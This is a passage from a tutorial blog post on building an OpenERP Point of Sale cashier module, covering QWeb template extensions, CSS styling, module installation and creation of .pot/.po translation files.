<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">footer</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">append</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">AlertNoCashier</code><code class="literal1">"</code><code class="markup">></code>You must create at least one cashier!<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-footer</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-title</code><code class="literal1">"</code><code class="markup">></code>
Select a cashier :
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-frame</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-esc</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">widget.get_cashiers(widget.get_cur_pos_config_id())</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">select</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-select</code><code class="literal1">"</code><code class="markup">></code><code class="markup"><</code><code class="markup">/</code><code class="markup">select</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
</code></pre>
</div>
To modify the original view, we use the<b> t-extend</b> attribute.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e29760">
t-extend<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e29760" onclick="selectionCode('contenuCoded0e29760');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e29760">
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Cashiers</code><code class="comment1"> </code><code class="comment1">drop-down</code><code class="comment1"> </code><code class="comment1">list</code><code class="comment1"> </code><code class="comment1">under</code><code class="comment1"> </code><code class="comment1">NumPad</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PosWidget</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
-
-
-
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
</code></pre>
</div>
As you see above, a template is written inside <b><t></t> </b>tags.<br />
<div class="imgtext-idea">
To see the different attributes and functions, I invite you to read this page on the publisher's website:<br /><a class=" tooltip blue-tooltip lienArticle En" href="https://doc.openerp.com/trunk/web/qweb/" target="_blank">Documentation QWebDocumentation QWeb</a> </div>
Then, just as in the XML views of Python module where we used the <b>position</b> attribute to place objects before, after or in place of the objects of the original template, we will use here the <b>t-operation</b> attribute preceded with the <b>t-jquery</b> attribute to specify the object of original template.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e29845">
t-jquery<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e29845" onclick="selectionCode('contenuCoded0e29845');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e29845">
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">footer</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">append</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">AlertNoCashier</code><code class="literal1">"</code><code class="markup">></code>You must create at least one cashier!<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-footer</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-title</code><code class="literal1">"</code><code class="markup">></code>
Select a cashier :
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-frame</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-esc</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">widget.get_cashiers(widget.get_cur_pos_config_id())</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">select</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-select</code><code class="literal1">"</code><code class="markup">></code><code class="markup"><</code><code class="markup">/</code><code class="markup">select</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
</code></pre>
</div>
Here, we wish to add objects to<b> <footer></ footer></b> tag , following those of the original <b>PosWidget</b> template.<br />
We can see the tag which contains the error message in case of no cashier, followed by the drop-down list of cashiers.<br />
<div class="TextAlign-center">
<table border="0" class="tableau" style="border-width: 0px; width: 100%;">
<tbody>
<tr>
<td class="colonne" style="text-align: center;"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_list.jpg"><img alt="The dropdown list" class="ImgCliquable image_verticale" height="325px" src="./images/pos_cashier_list.jpg" width="268px" /></a><br />
La liste déroulante</td>
<td class="colonne" style="text-align: center;"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_alert_no_cashier.jpg"><img alt="The error message if no cashier" class="ImgCliquable image_verticale" height="325px" src="./images/pos_alert_no_cashier.jpg" width="265px" /></a><br />
Le message d'erreur pour défaut de caissier</td>
</tr>
</tbody></table>
</div>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e30078">
Cashiers dorpdown list<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e30078" onclick="selectionCode('contenuCoded0e30078');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e30078">
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-esc</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">widget.get_cashiers(widget.get_cur_pos_config_id())</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">select</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">cashier-select</code><code class="literal1">"</code><code class="markup">></code><code class="markup"><</code><code class="markup">/</code><code class="markup">select</code><code class="markup">></code>
</code></pre>
</div>
The first tag uses the<b> t-esc</b> attribute that can insert standard JavaScript commands.<br />
At the loading of the Point Of Sale, we get the ID of the Point Of Sale with <a class="renvoiSignet" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#gcpci">get_cur_pos_config_id()</a> function.<br />
Then, just below, we insert the dropdown list of cashiers who belong to this Point Of Sale.<br />
To display the name of the cashier on the payment page, we will extend the original <b>PaymentScreenWidget</b> module.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e30151">
PaymentScreenWidget<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e30151" onclick="selectionCode('contenuCoded0e30151');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e30151">
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Name</code><code class="comment1"> </code><code class="comment1">of</code><code class="comment1"> </code><code class="comment1">the</code><code class="comment1"> </code><code class="comment1">cashier</code><code class="comment1"> </code><code class="comment1">on</code><code class="comment1"> </code><code class="comment1">Payement</code><code class="comment1"> </code><code class="comment1">Page</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PaymentScreenWidget</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">.pos-step-container</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">prepend</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">div</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pay-screen-cashier</code><code class="literal1">"</code><code class="markup">></code>Cashier :
<code class="markup"><</code><code class="markup">span</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">pay-screen-cashier-name</code><code class="literal1">"</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">span</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">div</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
</code></pre>
</div>
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_pay_screen.jpg"><img alt="Name of the cashier on Payement Page" class="ImgCliquable" height="325px" src="./images/pos_pay_screen.jpg" width="528px" /></a><figcaption>Name of the cashier on Payement Page</figcaption></figure>
<br />
Finally, the cashier's name must also appear on the receipt, so we will also extend the original <b>PosTicket </b>module.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e30323">
PosTicket<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e30323" onclick="selectionCode('contenuCoded0e30323');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e30323">
<code class="comment1"><!--</code><code class="comment1"> </code><code class="comment1">Name</code><code class="comment1"> </code><code class="comment1">of</code><code class="comment1"> </code><code class="comment1">the</code><code class="comment1"> </code><code class="comment1">cashier</code><code class="comment1"> </code><code class="comment1">on</code><code class="comment1"> </code><code class="comment1">Ticket</code><code class="comment1"> </code><code class="comment1">--></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-extend</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">PosTicket</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">></code>
<code class="markup"><</code><code class="markup">t</code><code class="markup"> </code><code class="markup">t-jquery</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">#header-ticket</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">t-operation</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">append</code><code class="literal1">"</code><code class="markup">></code>
Cashier : <code class="markup"><</code><code class="markup">span</code><code class="markup"> </code><code class="markup">id</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">ticket-screen-cashier-name</code><code class="literal1">"</code><code class="markup">></code><code class="markup"><</code><code class="markup">/</code><code class="markup">span</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">t</code><code class="markup">></code>
</code></pre>
</div>
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_ticket.jpg"><img alt="Name of the cashier on receipt" class="ImgCliquable" height="325px" src="./images/pos_ticket.jpg" width="431px" /></a><figcaption>Name of the cashier on receipt</figcaption></figure>
<br />
<b>That's it for the XML file.</b>
</div>
</div>
<h2 class="TitreSection1" id="LVIII-C">
VIII-C. pos_cashier.css file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
A simple *.CSS file to put in <b>css</b> directory of the module : <br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">/opt/modules-openerp/pos_cashiers/static/src/css</span> </b>
</div>
</blockquote>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e30483">
pos_cashier.css<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e30483" onclick="selectionCode('contenuCoded0e30483');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e30483">
<code class="literal2">#</code><code class="literal2">cashier-title</code><code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/vertical-align" target="_blank">vertical-align</a><code class="operator">:</code> <code class="keyword3">middle</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/display" target="_blank">display</a><code class="operator">:</code>inline-block;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/text-align" target="_blank">text-align</a><code class="operator">:</code> <a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/left" target="_blank">left</a>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-size" target="_blank">font-size</a><code class="operator">:</code> <code class="digit">16px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-weight" target="_blank">font-weight</a><code class="operator">:</code> <code class="keyword3">normal</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-style" target="_blank">font-style</a><code class="operator">:</code> <code class="keyword3">italic</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/width" target="_blank">width</a><code class="operator">:</code> <code class="digit">45%</code>;
<code class="operator">}</code>
<code class="literal2">#</code><code class="literal2">cashier-frame</code> <code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/text-align" target="_blank">text-align</a><code class="operator">:</code> <code class="keyword3">center</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/vertical-align" target="_blank">vertical-align</a><code class="operator">:</code> <code class="keyword3">middle</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/display" target="_blank">display</a><code class="operator">:</code>inline-block;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/border" target="_blank">border</a><code class="operator">:</code> <code class="digit">1px</code> <code class="keyword3">solid</code> <code class="literal2">#</code><code class="literal2">000000</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/width" target="_blank">width</a><code class="operator">:</code> <code class="digit">55%</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/padding" target="_blank">padding</a><code class="operator">:</code> <code class="digit">5px</code> <code class="digit">0px</code> <code class="digit">5px</code> <code class="digit">0px</code>;
<code class="operator">}</code>
<code class="literal2">#</code><code class="literal2">cashier-select</code><code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/width" target="_blank">width</a><code class="operator">:</code><code class="digit">95%</code>;
<code class="operator">}</code>
<code class="literal2">#</code><code class="literal2">cashier-footer</code><code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/background" target="_blank">background</a><code class="operator">:</code> linear-gradient(<code class="literal1">#</code><code class="literal1">7B7979</code><code class="literal1">,</code><code class="literal1"> </code><code class="literal1">#</code><code class="literal1">393939</code>) <code class="keyword3">repeat</code> <code class="keyword3">scroll</code> <code class="digit">0</code> <code class="digit">0</code> <code class="keyword3">transparent</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/display" target="_blank">display</a><code class="operator">:</code><code class="keyword3">block</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/color" target="_blank">color</a><code class="operator">:</code> <code class="literal2">#</code><code class="literal2">ffcc00</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/padding" target="_blank">padding</a><code class="operator">:</code> <code class="digit">10px</code> <code class="digit">5px</code> <code class="digit">10px</code> <code class="digit">5px</code>;
<code class="operator">}</code>
<code class="literal2">#</code><code class="literal2">pay-screen-cashier</code><code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/color" target="_blank">color</a><code class="operator">:</code> <code class="keyword3">black</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/border-bottom" target="_blank">border-bottom</a><code class="operator">:</code> <code class="digit">1px</code> <code class="keyword3">dashed</code> <code class="literal2">#</code><code class="literal2">666666</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/padding" target="_blank">padding</a><code class="operator">:</code> <code class="digit">2px</code> <code class="digit">2px</code> <code class="digit">2px</code> <code class="digit">2px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/text-align" target="_blank">text-align</a><code class="operator">:</code> <a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/left" target="_blank">left</a>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-size" target="_blank">font-size</a><code class="operator">:</code> <code class="digit">14px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-weight" target="_blank">font-weight</a><code class="operator">:</code> <code class="keyword3">normal</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-style" target="_blank">font-style</a><code class="operator">:</code> <code class="keyword3">italic</code>;
<code class="operator">}</code>
<code class="literal2">#</code><code class="literal2">ticket-screen-cashier</code><code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-style" target="_blank">font-style</a><code class="operator">:</code> <code class="keyword3">italic</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/border-bottom" target="_blank">border-bottom</a> <code class="operator">:</code> <code class="digit">1px</code> <code class="keyword3">solid</code> <code class="keyword3">gray</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/padding-bottom" target="_blank">padding-bottom</a><code class="operator">:</code> <code class="digit">2px</code>;
<code class="operator">}</code>
<code class="literal2">#</code><code class="literal2">AlertNoCashier</code><code class="operator">{</code>
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/background" target="_blank">background</a><code class="operator">:</code> <code class="keyword3">red</code> <code class="keyword3">url</code>(<code class="literal1">"</code><code class="literal1">.</code><code class="literal1">.</code><code class="literal1">/</code><code class="literal1">img</code><code class="literal1">/</code><code class="literal1">error</code><code class="literal1">.</code><code class="literal1">png</code><code class="literal1">"</code>) <code class="keyword3">no-repeat</code> <code class="digit">4px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/color" target="_blank">color</a><code class="operator">:</code> <code class="keyword3">white</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-size" target="_blank">font-size</a><code class="operator">:</code> <code class="digit">14px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/font-weight" target="_blank">font-weight</a><code class="operator">:</code> <code class="keyword3">bold</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/padding" target="_blank">padding</a><code class="operator">:</code> <code class="digit">12px</code> <code class="digit">4px</code> <code class="digit">4px</code> <code class="digit">30px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/height" target="_blank">height</a><code class="operator">:</code> <code class="digit">24px</code>;
<a class="keyword2 lien_documentation_code" href="http://www.w3.org/community/webed/wiki/CSS/Properties/text-transform" target="_blank">text-transform</a><code class="operator">:</code> <code class="keyword3">uppercase</code>;
<code class="operator">}</code>
</code></pre>
</div>
Here you can put your additional styles for your module, and you can also edit the original ones, if needed,</div>
</div>
<h1 class="TitreSection0" id="LIX">
IX. Installation of the module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
This time, we can install our module.<br />
Connect to OpenERP as an administrator, and then click the Configuration menu.<br />
Click on <b>« Update list of modules » </b>link<br />
Then click <b>« Installed Modules »</b> and delete the <b>« Installed »</b> filter in the search bar.<br />
Our module will appear.<br />
Click the <b>Install </b>button and wait until the end of the installation.<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_module.jpg"><img alt="The POS Cashiers module in installed modules" class="ImgCliquable" height="279px" src="./images/pos_cashier_module.jpg" width="550px" /></a><figcaption>The POS Cashiers module in installed modules</figcaption></figure>
</div>
<h1 class="TitreSection0" id="LX">
X. Internationalisation<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
You have noticed that the text, labels and titles were all in English?<br /><b>There are two reasons for this.</b><br />
<ul class="ListeDVP">
<li>The first one , is that the module is fully functional, it may therefore be useful to other people. It will just make them translated into their language. I could do it, but I speak not very well Hungarian nor Korean ...</li>
<li>The second reason is that I wanted to explain how to do the translation of a module. This is the best reason, finally.</li>
</ul>
The international system is a bit complex.<br />
Know that we need to create a<b> pos_cashier.pot</b> file, we put in the <b>i18n</b> directory.<br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">/opt/modules-openerp/pos_cashier/i18n</span> </b>
</div>
</blockquote>
From this <b>pos_cashier.pot</b> file, we can create files for different languages.<br />
A <b>*.pot</b> file is a translation template file. It contains only the original terms, it does not contain the translated words.<br />
But creating a<b> *.pot</b> from A to Z is a bit complicated.<br />
Fortunately, our beloved OpenERP Dev Team have thought of everything.<br />
<b>Make a *.pot file</b> <br />
<ul class="ListeDVP">
<li>Connect to OpenERP as administrator</li>
<li>click <b>Configuration</b> in top menu.</li>
<li>In <b>Translation</b> heading, click <b>Export translation</b>.</li>
<li>The form below appears</li>
</ul>
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_pot.jpg"><img alt="Export translation file" class="ImgCliquable" height="286px" src="./images/pos_cashier_pot.jpg" width="550px" /></a><figcaption>Export translation file</figcaption></figure>
<br />
<ul class="ListeDVP">
<li>In <b>Langage</b> field, select <b>New Language</b>.</li>
<li>In <b>File format</b>, select <b>PO File</b>.</li>
<li>In <b>Modules to export</b>, select <b>POS Cashiers</b>.</li>
<li>Click <b>Export</b>.</li>
<li>A second window is displayed.</li>
</ul>
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_export.jpg"><img alt="Download translation file" class="ImgCliquable" height="230px" src="./images/pos_export.jpg" width="550px" /></a><figcaption>Download translation file</figcaption></figure>
<br />
<ul class="ListeDVP">
<li>Download the file by clicking the download link.</li>
<li>Rename the file to <b>pos_cashier.pot</b>.</li>
<li>And open it with your text editor.</li>
</ul>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e31132">
pos_cashier.pot<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e31132" onclick="selectionCode('contenuCoded0e31132');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e31132">
# Translation of OpenERP Server.
# This file contains the translation of the following modules:
# * pos_cashier
#
msgid ""
msgstr ""
"Project-Id-Version: OpenERP Server 7.0-20130703-231023\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2013-07-13 00:04+0000\n"
"PO-Revision-Date: 2013-07-13 00:04+0000\n"
"Last-Translator: <>\n"
"Language-Team: \n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: \n"
#. module: pos_cashier
#: view:pos.cashier:0
msgid "All"
msgstr ""
#. module: pos_cashier
#: model:ir.model,name:pos_cashier.model_pos_order
msgid "Point of Sale"
msgstr ""
#. module: pos_cashier
#: model:ir.actions.act_window,help:pos_cashier.action_pos_cashier
msgid "<p class=\"oe_view_nocontent_create\">\n"
" Click here to create a cashier for the Point Of Sale.\n"
" </p>\n"
" "
msgstr ""
#. module: pos_cashier
#: view:pos.cashier:0
msgid "Point of Sale Cashier"
msgstr ""
#. module: pos_cashier
#: field:pos.cashier,cashier_name:0
#: field:pos.order,cashier_name:0
msgid "Cashier"
msgstr ""
#. module: pos_cashier
#: view:pos.cashier:0
msgid "Inactive"
msgstr ""
#. module: pos_cashier
#: help:pos.cashier,active:0
msgid "If a cashier is not active, it will not be displayed in POS"
msgstr ""
#. module: pos_cashier
#: sql_constraint:pos.cashier:0
msgid "A cashier already exists with this name in this Point Of sale. Cashier's name must be unique!"
msgstr ""
#. module: pos_cashier
#: view:pos.cashier:0
#: field:pos.cashier,active:0
msgid "Active"
msgstr ""
#. module: pos_cashier
#: model:ir.model,name:pos_cashier.model_pos_cashier
msgid "pos.cashier"
msgstr ""
#. module: pos_cashier
#: model:ir.actions.act_window,name:pos_cashier.action_pos_cashier
#: model:ir.ui.menu,name:pos_cashier.menu_action_pos_cashier
#: model:ir.ui.menu,name:pos_cashier.menu_point_of_sale_cashiers
#: view:pos.cashier:0
msgid "Cashiers"
msgstr ""
#. module: pos_cashier
#: field:pos.cashier,pos_config_id:0
msgid "Point Of Sale"
msgstr ""
</code></pre>
</div>
Here's what looks like a<b> *.pot</b>.<br />
Before the copy, we will add some instructions.<br />
You may have noticed that the words that are in this file are the names of the fields, constraints or comments that we have created in the tables.<br />
We also want to translate words that we « hard coded » in the XML files of some views.<br />
In particular, we want to translate the error message that appears in the Point Of Sale when there is no cashier, we also want to translate the word « cashier », etc..<br />
We will add portions of code as below.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e31155">
pos_cashier.pot<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e31155" onclick="selectionCode('contenuCoded0e31155');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e31155">
#. module: pos_cashier
#. openerp-web
#: code:static/src/xml/pos_cashier.xml:9
#, python-format
msgid "You must create at least one cashier!"
msgstr ""
</code></pre>
</div>
Again, since there is no documentation on this, I poked around in the translation files of other modules.<br />
It can translate a word or phrase in an XML file specifying the source of the file (from the root module) followed by the line number.<br />
In the example above, the sentence to be translated is line<b> 9</b> of<b> static/src/xml/pos_cashier.xml</b> file.<br />
Then we add the following two translations.<br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e31176">
pos_cashier.pot<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e31176" onclick="selectionCode('contenuCoded0e31176');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e31176">
#. module: pos_cashier
#. openerp-web
#: code:static/src/xml/pos_cashier.xml:12
#, python-format
msgid "Select a cashier :"
msgstr ""
#. module: pos_cashier
#. openerp-web
#: code:static/src/xml/pos_cashier.xml:26
#: code:static/src/xml/pos_cashier.xml:36
#, python-format
msgid "Cashier :"
msgstr ""
</code></pre>
</div>
Please note that the string to be translated is in front of the<b> msgid</b> keyword. This is the identifier of the chain. On the next line, we have the <b>msgstr </b>keyword followed by an empty string.<br />
Save the file, then copy the file renaming, this time to <b>fr.po</b>. This will be our translation file for the French language. Obviously, you'll understand it then just add the translations of the strings in the corresponding <b>msgstr</b>.<br /><br /><b>Here is an excerpt of fr.po file:</b><br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e31200">
fr.po<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e31200" onclick="selectionCode('contenuCoded0e31200');">Sélectionnez</span></div>
</div>
